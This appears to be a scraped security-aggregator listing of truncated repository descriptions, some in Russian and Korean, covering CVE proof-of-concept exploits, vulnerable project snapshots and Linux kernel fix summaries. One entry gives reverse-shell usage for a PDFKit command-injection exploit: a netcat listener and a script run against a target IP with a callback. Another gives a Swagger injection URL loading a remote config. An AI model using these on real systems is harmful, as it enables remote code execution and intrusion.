apache__jspwiki_CVE-2019-10078_2-11-0-M3

Apache JSPWiki 2.12 - Документация root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the...

Vulnerable-CVE-2025-27210

В этом репозитории нет README...

CVE-2020-0192

В этом репозитории нет README...

ff4j__ff4j_CVE-2022-44262_1_8_13_fixed

✨✨✨ FF4J - Переключение функций для Java ✨✨✨ Codacy Badge FF4j — это реализация паттерна Feature Toggle. 🤘Возможности Feature Toggle: Включайте и отключайте функции во время выполнения без развертываний. В коде реализуйте несколько путей, защищенных динамическими предикатами if/then/else. Ролевое...

CVE-2022-25765

CVE-2022-25765 Эксплойт Небольшой PoC-эксплойт для CVE-2022-25765, PDFkit-CMD-Injection Использование 1. Запустите netcat-слушатель на вашей атакующей машине: root@kitploit: nc -lvnp 4444 2. Запустите эксплойт: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...

Xibo-CMS-Zip-Slip-RCE-Exploit-CVE-2023-33177

Xibo CMS Zip Slip RCE 익스플로잇 CVE-2023-33177 이 익스플로잇은 Xibo CMSCVE-2023-33177의 경로 탐색Path Traversal 취약점 을 시연하며, 악성 레이아웃 가져오기를 통해 원격 코드 실행RCE을 가능하게 합니다. 취약점 상세 CVE/권고: CVE-2023-33177 영향받는 버전: Xibo CMS 1.8.0 - 2.3.16 Xibo CMS 3.0.0 - 3.3.4 취약점 유형: 경로 탐색 Zip Slip 영향: 원격 코드 실행 RCE 기술 요약 Xibo CMS는 인증된 사용자...

Swagger-HTML-Injection-CVE-2025-8191

https://example.com/swagger/swagger.html?configURL=https://raw.githubusercontent.com/mayank-s16/Swagger-HTML-Injection-CVE-2025-8191/refs/heads/main/test.json...

Graylog2__graylog2-server_CVE-2023-41044_5-1-2

Graylog Добро пожаловать! Graylog — это платформа с открытым исходным кодом для управления логами. Вы можете узнать больше о проекте на нашем веб-сайте и ознакомиться с документацией на сайте документации. Отслеживание проблем Нашли ошибку? Есть идея для улучшения? Не стесняйтесь добавить задачу...

jenkinsci__workflow-cps-plugin_CVE-2022-25173_2646-v6ed3b5b01ff1

Pipeline: Плагин Groovy Введение Ключевой компонент набора плагинов Pipeline, предоставляющий стандартный движок выполнения для шагов Pipeline, основанный на пользовательском интерпретаторе Groovy, работающем внутри процесса контроллера Jenkins. В принципе можно поддерживать и другие движки...

elegant-bouncer

ELEGANTBOUNCER ELEGANTBOUNCER — это инструмент обнаружения файловых мобильных эксплойтов. В нём применяется инновационный подход к расширенному выявлению угроз на основе файлов, который не требует образцов из реальных атак и превосходит традиционные методы, основанные на регулярных выражениях или...

CVE-2026-80755

In the Linux kernel, the following vulnerability has been resolved: selinux: reject a permission value exceeding the class permission count permread bounds a permission value by SELVECMAX but never by the nprim of the owning class or common, which is taken verbatim from the policy image...

CVE-2026-80754

In the Linux kernel, the following vulnerability has been resolved: Input: synaptics-rmi4 - fix F55 transmitter electrode count typo During F55 sensor detection, the transmitter TX electrode count was incorrectly assigned the value of the receiver RX electrode count due to copy-paste typos. This...

CVE-2026-80751

In the Linux kernel, the following vulnerability has been resolved: pmdomain: mediatek: mfg: initialize prevo in mtkmfgattachdev mtkmfgattachdev reads prevo on the first iteration of its loop, in "if prevo && prevo-freq == o-freq", before prevo is assigned at the end of the loop body. On that fir...

CVE-2026-80752

In the Linux kernel, the following vulnerability has been resolved: Input: psxpad-spi - set driver data before use psxpadspisuspend retrieves the controller state with spigetdrvdata, but probe never stores it, so suspend dereferences a NULL pointer. Store it during probe...

CVE-2026-80746

In the Linux kernel, the following vulnerability has been resolved: clk: qcom: dispcc-eliza: Fix dispccmdssmdpclksrc RCG stall on Eliza EVK Eliza EVK eliza-cqs-evk.dts does not have display enabled, however its Display Clock Controller is enabled and references parent clocks from DSI PHYs, which...

CVE-2026-80745

In the Linux kernel, the following vulnerability has been resolved: regulator: fp9931: Fix VPOS/VNEG voltage selector table The VPOSNEGtable mapping does not match the FP9931 datasheet. The datasheet defines the VPOS/VNEG voltage mapping as: 00h-04h - 7.04V -7.04V 05h - 7.26V -7.26V 06h - 7.49V...

CVE-2026-80742

In the Linux kernel, the following vulnerability has been resolved: afpacket: Don't send zero-byte data in tpacketsnd. syzbot reported a WARNING in devqueuexmit triggered via tpacketsnd: skbassertlen WARNING: at include/linux/skbuff.h:2753 skbassertlen WARNING: at devqueuexmit+0x21bc/0x4970...

keycloak__keycloak_CVE-2022-4137_20-0-3

Keycloak Keycloak — это решение с открытым исходным кодом для управления идентификацией и доступом для современных приложений и сервисов. Этот репозиторий содержит исходный код сервера Keycloak, адаптеров Java и адаптера JavaScript. Справка и документация Документация Список рассылки пользователе...

CVE-2026-80738

In the Linux kernel, the following vulnerability has been resolved: bpf: Check skstate before skprotocol in bpftcpsyncookie bpftcpgensyncookie and bpftcpchecksyncookie accept a socket pointer 'sk' with argument type ARGPTRTOBTFIDSOCKCOMMON. However, they access sk-skprotocol without validating...

CVE-2026-80735

In the Linux kernel, the following vulnerability has been resolved: ovpn: ensure socket is owned by ovpn before deref skuserdata Some subsystems, like BPF SOCKMAP, set skuserdata without actually setting the encaptype. For this reason, we must make sure that the type is the one ovpn expects befor...